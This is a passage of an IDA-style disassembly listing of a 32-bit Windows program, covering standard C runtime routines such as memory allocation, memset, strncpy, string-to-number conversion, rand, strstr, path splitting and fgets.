B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB9AC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DCFC8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DCFC0 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C9A4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DCFC4 nop call near ptr 27C0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43CBB4, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C9A8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43CBB4, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C9A8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A94C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB970, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2720517h push eax nop call near ptr 2710BE6h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB96C, edi mov byte_4DB968, bl jnz short loc_41B844 mov eax, dword_4DCFDC test eax, eax jz short loc_41B833 mov ecx, dword_4DCFD8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DCFDC jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB970, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A930, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A930 imul eax, 343FDh add eax, 269EC3h mov dword_43A930, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DCEA1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43CBB4, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43CBB4, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C9A8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43CBB4, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C9A8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB928, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, 